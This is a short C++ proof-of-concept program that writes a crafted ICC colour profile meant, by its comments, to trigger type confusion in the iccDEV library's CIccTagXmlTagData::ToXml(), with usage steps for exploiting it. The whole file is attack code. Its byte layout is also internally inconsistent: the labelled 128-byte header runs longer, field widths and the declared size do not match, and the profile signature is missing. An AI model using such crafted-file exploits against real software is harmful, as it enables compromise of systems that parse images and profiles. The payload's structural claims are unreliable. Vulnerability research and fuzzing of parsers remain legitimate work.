#include <iostream>
#include <fstream>
#include <cstring>
// Simulated ICC Tag XML structure to trigger type confusion
// This PoC demonstrates the concept of crafting malicious ICC profile data
unsigned char malicious_icc_tag[] = {
// ICC Profile Header (128 bytes)
0x00, 0x00, 0x0B, 0x61, // Profile size
0x61, 0x70, 0x70, 0x6C, // 'appl' preferred CMM
0x00, 0x00, 0x02, 0x00, // Profile version
0x00, 0x00, 0x00, 0x00, // Device class
0x00, 0x00, 0x00, 0x00, // Color space
0x00, 0x00, 0x00, 0x00, // PCS
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Creation date
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Profile file signature
0x00, 0x00, 0x00, 0x00, // Primary platform
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Profile flags
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// Tag signature: 'desc' (description)
0x64, 0x65, 0x73, 0x63,
// Offset to tag data
0x00, 0x00, 0x00, 0x8C,
// Tag size
0x00, 0x00, 0x00, 0x3C,
// Malicious tag data designed to trigger type confusion in ToXml()
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
void create_malicious_profile(const char* filename) {
std::ofstream file(filename, std::ios::binary);
if (file.is_open()) {
file.write(reinterpret_cast<char*>(malicious_icc_tag), sizeof(malicious_icc_tag));
file.close();
std::cout << "Malicious ICC profile created: " << filename << std::endl;
}
}
// Usage:
// 1. Create malicious ICC profile using create_malicious_profile()
// 2. Process the profile with vulnerable iccDEV library
// 3. Trigger CIccTagXmlTagData::ToXml() to exploit type confusion
int main() {
create_malicious_profile("malicious_profile.icc");
return 0;
}